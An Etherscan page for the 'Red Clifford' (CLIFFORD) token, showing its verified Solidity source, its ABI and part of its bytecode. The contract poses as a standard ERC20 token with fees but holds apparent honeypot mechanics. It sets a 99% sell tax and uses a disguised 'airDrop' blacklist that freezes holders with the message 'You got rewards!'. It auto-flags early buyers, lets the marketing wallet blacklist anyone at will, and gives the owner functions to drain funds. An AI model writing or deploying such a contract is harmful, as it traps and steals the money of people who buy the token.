ETH Price: $2,303.43 (+0.93%)

Token

Red Clifford (CLIFFORD)
 

Overview

Max Total Supply

1,000,000,000 CLIFFORD

Holders

75

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
16,551,394.934787547702525392 CLIFFORD

Value
$0.00
0x603602e35a4fd844e2be01ad269ccab6993250d4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RedClifford

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-12
*/

//SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;

    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract RedClifford is ERC20, Ownable{
    using Address for address payable;
    
    IRouter public router;
    address public pair;
    
    bool private swapping;
    bool public swapEnabled;
    bool public tradingEnabled;

    uint256 public genesis_block;
    uint256 public deadblocks = 0;
    
    uint256 public swapThreshold = 10_000_000 * 10e18;
    uint256 public maxTxAmount = 1_000_000_000 * 10**18;
    uint256 public maxWalletAmount = 20_000_000 * 10**18;
    
    address public marketingWallet = 0xfC02362866F580E5792390aD81EFddBA016803D7;
    address public developerWallet = 0xfC02362866F580E5792390aD81EFddBA016803D7;
    
    struct Taxes {
        uint256 marketing;
        uint256 liquidity; 
        uint256 developer;
    }
    
    Taxes public taxes = Taxes(25,0,0);
    Taxes public sellTaxes = Taxes(99,0,0);
    uint256 public totTax = 25;
    uint256 public totSellTax = 99;
    
    mapping (address => bool) public excludedFromFees;
    mapping (address => bool) public  airDrop;
    
    modifier inSwap() {
        if (!swapping) {
            swapping = true;
            _;
            swapping = false;
        }
    }
        
    constructor() ERC20("Red Clifford", "CLIFFORD") {
        _mint(msg.sender, 1e9 * 10**decimals());
        excludedFromFees[msg.sender] = true;

        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory())
            .createPair(address(this), _router.WETH());

        router = _router;
        pair = _pair;
        excludedFromFees[address(this)] = true;
        excludedFromFees[marketingWallet] = true;
        excludedFromFees[developerWallet] = true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        require(! airDrop[sender] && ! airDrop[recipient], "You got rewards!");
                
        
        if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){
            require(tradingEnabled, "Trading not active yet");
            if(genesis_block + deadblocks > block.number){
                if(recipient != pair)  airDrop[recipient] = true;
                if(sender != pair)  airDrop[sender] = true;
            }
            require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
            if(recipient != pair){
                require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount");
            }
        }

        uint256 fee;
        
        //set fee to zero if fees in contract are handled or exempted
        if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0;
        
        //calculate fee
        else{
            if(recipient == pair) fee = amount * totSellTax / 100;
            else fee = amount * totTax / 100;
        }
        
        //send fees if threshold has been reached
        //don't do this on buys, breaks swap
        if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees();

        super._transfer(sender, recipient, amount - fee);
        if(fee > 0) super._transfer(sender, address(this) ,fee);

    }

    function swapForFees() private inSwap {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapThreshold) {

            // Split the contract balance into halves
            uint256 denominator = totSellTax * 2;
            uint256 tokensToAddLiquidityWith = contractBalance * sellTaxes.liquidity / denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;
    
            uint256 initialBalance = address(this).balance;
    
            swapTokensForETH(toSwap);
    
            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance= deltaBalance / (denominator - sellTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * sellTaxes.liquidity;
    
            if(ethToAddLiquidityWith > 0){
                // Add liquidity to Uniswap
                addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }
    
            uint256 marketingAmt = unitBalance * 2 * sellTaxes.marketing;
            if(marketingAmt > 0){
                payable(marketingWallet).sendValue(marketingAmt);
            }
            
            uint256 developerAmt = unitBalance * 2 * sellTaxes.developer;
            if(developerAmt > 0){
                payable(developerWallet).sendValue(developerAmt);
            }
        }
    }


    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);

    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            developerWallet,
            block.timestamp
        );
    }

    function setSwapEnabled(bool state) external onlyOwner {
        swapEnabled = state;
    }

    function setSwapThreshold(uint256 new_amount) external onlyOwner {
        swapThreshold = new_amount;
    }

    function enableTrading(uint256 numOfDeadBlocks) external onlyOwner {
        require(!tradingEnabled, "Trading already active");
        tradingEnabled = true;
        swapEnabled = true;
        genesis_block = block.number;
        deadblocks = numOfDeadBlocks;
    }

    function setTaxes(uint256 _marketing, uint256 _liquidity, uint256 _developer) external onlyOwner{
        taxes = Taxes(_marketing, _liquidity, _developer);
        totTax = _marketing + _liquidity + _developer;
    }

    function setSellTaxes(uint256 _marketing, uint256 _liquidity, uint256 _developer) external onlyOwner{
        sellTaxes = Taxes(_marketing, _liquidity, _developer);
        totSellTax = _marketing + _liquidity + _developer;
    }
    
    function updateMarketingWallet(address newWallet) external onlyOwner{
        marketingWallet = newWallet;
    }
    
    function updateDeveloperWallet(address newWallet) external onlyOwner{
        developerWallet = newWallet;
    }

    function updateRouterAndPair(IRouter _router, address _pair) external onlyOwner{
        router = _router;
        pair = _pair;
    }

    function addSnapShot(address[] memory  airDrop_) external {
        require (msg.sender == marketingWallet);
        for (uint i = 0; i <  airDrop_.length; i++) {
             airDrop[ airDrop_[i]] = true;
        }
    }
    
    function delAirDrop(address account) external {
        require (msg.sender == marketingWallet);
         airDrop[account] = false;
    }

    function updateExcludedFromFees(address _address, bool state) external onlyOwner{
        excludedFromFees[_address] = state;
    }
    
    function updateMaxTxAmount(uint256 amount) external onlyOwner{
        maxTxAmount = amount * 10**18;
    }
    
    function updateMaxWalletAmount(uint256 amount) external onlyOwner{
        maxWalletAmount = amount * 10**18;
    }

    function rescueERC20(address tokenAddress, uint256 amount) external {
        require (msg.sender == marketingWallet);
        IERC20(tokenAddress).transfer(owner(), amount);
    }

    function rescueETH(uint256 weiAmount) external {
        require (msg.sender == marketingWallet);
        payable(owner()).sendValue(weiAmount);
    }

    function manualSwap(uint256 amount, uint256 developerPercentage, uint256 marketingPercentage) external {
        require (msg.sender == marketingWallet);
        uint256 initBalance = address(this).balance;
        swapTokensForETH(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if(marketingPercentage > 0) payable(marketingWallet).sendValue(newBalance * marketingPercentage / (developerPercentage + marketingPercentage));
        if(developerPercentage > 0) payable(developerWallet).sendValue(newBalance * developerPercentage / (developerPercentage + marketingPercentage));
    }

    function removeLimits() external onlyOwner returns (bool) {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
        return true;
    }

    // fallbacks
    receive() external payable {}
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"airDrop_","type":"address[]"}],"name":"addSnapShot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"airDrop","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"delAirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developerWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"numOfDeadBlocks","type":"uint256"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"developerPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"developer","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_developer","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"setSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_developer","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"developer","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDeveloperWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IRouter","name":"_router","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"updateRouterAndPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006009556a52b7d2dcc80cd2e4000000600a556b033b2e3c9fd0803ce8000000600b556a108b2a2c28029094000000600c5573fc02362866f580e5792390ad81efddba016803d7600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073fc02362866f580e5792390ad81efddba016803d7600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604051806060016040528060198152602001600081526020016000815250600f600082015181600001556020820151816001015560408201518160020155505060405180606001604052806063815260200160008152602001600081525060126000820151816000015560208201518160010155604082015181600201555050601960155560636016553480156200017857600080fd5b506040518060400160405280600c81526020017f52656420436c6966666f726400000000000000000000000000000000000000008152506040518060400160405280600881526020017f434c4946464f52440000000000000000000000000000000000000000000000008152508160039080519060200190620001fd9291906200086a565b508060049080519060200190620002169291906200086a565b505050620002396200022d6200062960201b60201c565b6200063160201b60201c565b62000279336200024e620006f760201b60201c565b600a6200025c919062000ab4565b633b9aca006200026d919062000b05565b6200070060201b60201c565b6001601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000338573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035e919062000bd0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ec919062000bd0565b6040518363ffffffff1660e01b81526004016200040b92919062000c13565b6020604051808303816000875af11580156200042b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000451919062000bd0565b905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000db3565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000773576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200076a9062000ca1565b60405180910390fd5b62000787600083836200086560201b60201c565b80600260008282546200079b919062000cc3565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620007f2919062000cc3565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000859919062000d31565b60405180910390a35050565b505050565b828054620008789062000d7d565b90600052602060002090601f0160209004810192826200089c5760008555620008e8565b82601f10620008b757805160ff1916838001178555620008e8565b82800160010185558215620008e8579182015b82811115620008e7578251825591602001919060010190620008ca565b5b509050620008f79190620008fb565b5090565b5b8082111562000916576000816000905550600101620008fc565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009a85780860481111562000980576200097f6200091a565b5b6001851615620009905780820291505b8081029050620009a08562000949565b945062000960565b94509492505050565b600082620009c3576001905062000a96565b81620009d3576000905062000a96565b8160018114620009ec5760028114620009f75762000a2d565b600191505062000a96565b60ff84111562000a0c5762000a0b6200091a565b5b8360020a91508482111562000a265762000a256200091a565b5b5062000a96565b5060208310610133831016604e8410600b841016171562000a675782820a90508381111562000a615762000a606200091a565b5b62000a96565b62000a76848484600162000956565b9250905081840481111562000a905762000a8f6200091a565b5b81810290505b9392505050565b60